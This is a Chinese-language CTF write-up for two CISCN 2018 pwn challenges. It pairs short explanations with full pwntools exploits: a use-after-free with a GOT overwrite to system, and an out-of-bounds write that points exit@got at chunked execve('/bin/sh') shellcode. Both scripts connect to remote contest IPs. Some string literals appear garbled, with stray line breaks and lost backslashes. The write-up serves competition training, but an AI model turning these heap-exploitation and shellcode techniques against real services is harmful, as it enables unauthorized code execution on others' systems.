ciscn2018-pwn-wp

前言

2018全国大学生网络安全竞赛 ，做了2 道题

task_supermarket

change_desc 里面调用 realloc 会触发 uaf

利用 uaf 修改 obj->desc_ptr 为 atoi@got , 泄露 libc, 使用 libc-database 找到相应的 libc
修改 atoi@got 为 system ,然后 输入 sh , getshell

from pwn import *
from time import sleep
context(os='linux', log_level='info')
context.terminal = ['tmux', 'splitw', '-h']
# p = process("./task_supermarket")
p = remote("117.78.43.197", 32138)
def add(name, price, descrip_size, description):
    sleep(0.2)
    p.recvuntil("your choice>> ")
    p.sendline('1')
    p.recvuntil("name:")
    sleep(0.2)
    p.sendline(name)    
    p.recvuntil("price:")
    sleep(0.2)
    p.sendline(str(price))
    p.recvuntil("descrip_size:")
    sleep(0.2)
    p.sendline(str(descrip_size))
    p.recvuntil("description:")
    sleep(0.1)
    p.send(description)



def free(name):
    p.recvuntil("your choice>> ")
    p.sendline('2')
    p.recvuntil("name:")
    sleep(0.2)
    p.sendline(name)   

def list():
    p.recvuntil("your choice>> ")
    p.sendline('3')

def change_price(name,  value):
    p.recvuntil("your choice>> ")
    p.sendline('4')
    p.recvuntil("name:")
    p.sendline(name)   
    p.recvuntil("input the value you want to cut or rise in:")
    p.sendline(str(value))

def change_desc(name, descrip_size, description):
    p.recvuntil("your choice>> ")
    p.sendline('5')
    p.recvuntil("name:")
    sleep(0.2)
    p.sendline(name)   
    p.recvuntil("descrip_size:")
    sleep(0.2)
    p.sendline(str(descrip_size))
    p.recvuntil("description:")
    sleep(0.2)
    p.send(description)




add('0', 80, 0x1c, '
')
add('1', 80, 0x1c, '
')
add('2', 80, 0x1c, '
')
add('3', 80, 0x1c, '
')

change_desc('1', 0x30, '
')

add('4', 80, 0x1c, '
')
add('5', 80, 0x80, '
')


read_got = 0x0804B010
atoi_got = 0x0804B048

payload = p32(0x34)
payload += p32(0) * 3
payload += p32(0x50)
payload += 'x90
'
change_desc('1', 0x1c, payload)

payload = 'x00' * (0x20 - 8)
payload += p32(0)
payload += p32(0x21)
payload += p32(0x35)
payload += p32(0) * 3
payload += p32(0x50)
payload += p32(0x90)
payload += p32(atoi_got)
change_desc('4', 0x90, payload + '
')

list()
p.recvuntil("5: price.80, des.")

libc = ELF("/home/haclh/workplace/libc-database/db/libc6-i386_2.23-0ubuntu9_amd64.so")
leak = u32(p.recv(4))
libc.address = leak - libc.symbols['atoi']
info("libc: " + hex(libc.address))
info("leak: " + hex(leak))

payload = p32(libc.symbols['system'])
change_desc('5', 0x90, payload + '
')


# gdb.attach(p)
# pause()
p.recvuntil("your choice>> ")
p.sendline("sh")


p.interactive()

flag: ciscn{1beba07b6a3232220b92429c6a0ac1e4}

task_note_service2

add 的时候会越界。

程序没开 nx, 利用越界改 exit@got 为 堆地址，然后布置 shellcode , 由于严格控制大小。使用 短跳转 连接各条 shellcode 需要的语句。用到的 shellcode 为

xor esi, esi
push rsi
push rsi
mov  ebx, 0x6e69622f
mov [rsp], ebx
mov  ebx, 0x68732f2f
mov [rsp+4], ebx
mov rdi, rsp
push 0x3b
pop rax
xor rdx,rdx
syscall

最终 exp

from pwn import *
from time import sleep
context(os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
# p = process("./task_note_service2")
p = remote("49.4.23.165", 32510)

base = 0x555555554000

def add(idx, content):
    sleep(0.2)
    p.recvuntil("your choice>> ")
    p.sendline('1')
    p.recvuntil("index:")
    sleep(0.2)
    p.sendline(str(idx))
    p.recvuntil("size:")
    sleep(0.2)
    p.sendline(str(len(content)))
    p.recvuntil("content:")
    sleep(0.2)
    p.send(content)


def free(idx):
    p.recvuntil("your choice>> ")
    p.sendline('2')
    p.recvuntil("index:")
    sleep(0.2)
    p.sendline(str(idx))

gdb_command = '''
x/20xg {}
break *0x0000555555757030
c
'''.format(hex(base + 0x2020A0))

add(-7, 'x90x31xf6x56x56xebx19
')  # exit ---> shellocde
add(0,  'xbbx2fx62x69x6exebx19
')  # push
add(1,  'x90x90x89x1cx24xebx19
')  # push
add(2,  'xbbx2fx2fx73x68xebx19
')  # push
add(3,  'x89x5cx24x04x90xebx19
')  # push
add(4,  'x48x89xe7x6ax3bxebx19
')  # push
add(5,  'x58x48x31xd2x0fx05
')  # push
# gdb.attach(p, gdb_command)
# pause()

p.recvuntil("your choice>>")
p.sendline("5")
p.interactive()
'''
xor esi, esi
push rsi
push rsi
mov  ebx, 0x6e69622f
mov [rsp], ebx
mov  ebx, 0x68732f2f
mov [rsp+4], ebx
mov rdi, rsp
push 0x3b
pop rax
xor rdx,rdx
syscall
'''

flag: ciscn{133fb0f0ca3ddf24964975f1ab94d082}